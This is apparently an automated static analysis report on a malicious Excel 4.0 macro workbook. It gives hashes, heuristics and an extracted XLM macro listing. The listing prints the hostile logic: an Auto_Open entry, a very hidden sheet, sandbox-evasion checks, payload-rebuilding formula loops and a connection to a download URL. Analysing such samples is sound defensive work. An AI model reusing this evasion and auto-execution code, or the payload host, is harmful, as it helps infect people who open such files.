Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bef53d4392a84478…

MALICIOUS

Office (OLE)

163.5 KB Created: 2020-03-17 09:58:18 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 400d31db725d16c6da6e61bcdb3a7b57 SHA-1: ea173e4b1a23488ca59d74d17d064c6d1f4b0945 SHA-256: bef53d4392a84478fff0943c365e66543b804634a701fbd9128cbb4fce5d871f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, including an Auto_Open entry, which are known to be used for malicious purposes. The macros utilize dangerous formula APIs, such as RUN, and attempt to hide the macro sheet. The presence of an embedded URL suggests the macro is intended to download and execute a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://tdvomds.pw/fgwg24g24g In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3942 bytes
SHA-256: a95399ef87cceda1ebf373d6760646513a01f65bc665732a85a7547a72ed1ff5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  MFPAdw2Yc
' 0018     40 LABEL : Cell Value, String Constant - _1451345341fff len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00E\x00l\x00\x12\x00\x12\x00'
' 0018     30 LABEL : Cell Value, String Constant - agawf23f len=7 ptgRef3d  MFPAdw2Yc!N13 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  MFPAdw2Yc!C18 
' 0018     31 LABEL : Cell Value, String Constant - rstegerg3 len=7 ptgRef3d  MFPAdw2Yc!N15 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  MFPAdw2Yc,N13,"IF(ISNUMBER(SEARCH("s", Sheet!S70)),GOTO(J38),ON.TIME(NOW()+"00:00:02","rstegerg3"))",""
'  MFPAdw2Yc,N14,RETURN(),""
'  MFPAdw2Yc,N15,"IF(ISNUMBER(SEARCH("s", Sheet!S70)),GOTO(J38),ON.TIME(NOW()+"00:00:02","agawf23f"))",""
'  MFPAdw2Yc,N16,RETURN(),""
'  MFPAdw2Yc,A18,"WORKBOOK.HIDE("MFPAdw2YcE",TRUE)",""
'  MFPAdw2Yc,C18,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  MFPAdw2Yc,C19,GET.WORKSPACE(13),""
'  MFPAdw2Yc,C20,GET.WORKSPACE(14),""
'  MFPAdw2Yc,C21,"IF(C19<770,CLOSE(FALSE),)",""
'  MFPAdw2Yc,C22,"IF(C20<381,CLOSE(FALSE),)",""
'  MFPAdw2Yc,C23,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  MFPAdw2Yc,C24,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","agawf23f"),CLOSE(TRUE))",""
'  MFPAdw2Yc,C25,RETURN(),""
'  MFPAdw2Yc,J38,"FORMULA( Sheet!S70,K40)",""
'  MFPAdw2Yc,J39,"FORMULA( Sheet!S71,K41)",""
'  MFPAdw2Yc,J40,"FORMULA( Sheet!S72,K42)",""
'  MFPAdw2Yc,J41,"FORMULA( Sheet!S73,K43)",""
'  MFPAdw2Yc,J42,"FORMULA( Sheet!S74,K44)",""
'  MFPAdw2Yc,J43,"FORMULA( Sheet!S75,K45)",""
'  MFPAdw2Yc,J44,"FORMULA( Sheet!S76,K46)",""
'  MFPAdw2Yc,J45,"FORMULA( Sheet!S77,K47)",""
'  MFPAdw2Yc,J46,"FORMULA( Sheet!S78,K48)",""
'  MFPAdw2Yc,J47,"FORMULA( Sheet!S79,K49)",""
'  MFPAdw2Yc,J48,"FORMULA( Sheet!S80,K50)",""
'  MFPAdw2Yc,J49,"FORMULA( Sheet!S81,K51)",""
'  MFPAdw2Yc,J50,"FORMULA( Sheet!S82,K52)",""
'  MFPAdw2Yc,J51,"FORMULA( Sheet!S83,K53)",""
'  MFPAdw2Yc,J52,"FORMULA( Sheet!S84,K54)",""
'  MFPAdw2Yc,J53,"FORMULA( Sheet!S85,K55)",""
'  MFPAdw2Yc,J54,"FORMULA( Sheet!S86,K56)",""
'  MFPAdw2Yc,J55,"FORMULA( Sheet!S87,K57)",""
'  MFPAdw2Yc,J56,"FORMULA( Sheet!S88,K58)",""
'  MFPAdw2Yc,J57,"FORMULA( Sheet!S89,K59)",""
'  MFPAdw2Yc,J58,"FORMULA( Sheet!S90,K60)",""
'  MFPAdw2Yc,J59,"FORMULA( Sheet!S91,K61)",""
'  MFPAdw2Yc,J60,"FORMULA( Sheet!S92,K62)",""
'  MFPAdw2Yc,J61,"FORMULA( Sheet!S93,K63)",""
'  MFPAdw2Yc,J62,"FORMULA( Sheet!S94,K64)",""
'  MFPAdw2Yc,J63,"FORMULA( Sheet!S95,K65)",""
'  MFPAdw2Yc,J64,"FORMULA( Sheet!S96,K66)",""
'  MFPAdw2Yc,J65,"FORMULA( Sheet!S97,K67)",""
'  MFPAdw2Yc,J66,"FORMULA( Sheet!S98,K68)",""
'  MFPAdw2Yc,J67,"FORMULA( Sheet!S99,K69)",""
'  MFPAdw2Yc,J68,"FORMULA( Sheet!S100,K70)",""
'  MFPAdw2Yc,J69,"FORMULA( Sheet!S101,K71)",""
'  MFPAdw2Yc,J70,"FORMULA( Sheet!S102,K72)",""
'  MFPAdw2Yc,J71,"FORMULA( Sheet!S103,K73)",""
'  MFPAdw2Yc,J72,"FORMULA( Sheet!S104,K74)",""
'  MFPAdw2Yc,J73,"FORMULA( Sheet!S105,K75)",""
'  MFPAdw2Yc,J74,"FORMULA( Sheet!S106,K76)",""
'  MFPAdw2Yc,J75,"FORMULA( Sheet!S107,K77)",""
'  MFPAdw2Yc,J76,"FORMULA( Sheet!S108,K78)",""
'  MFPAdw2Yc,J77,"FORMULA( Sheet!S109,K79)",""
'  MFPAdw2Yc,J78,GOTO(K40),""
'  MFPAdw2Yc,J79,RETURN(),""
' 0876    136 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://tdvomds.pw/fgwg24g24g
'   Sheet1!1451345341fff

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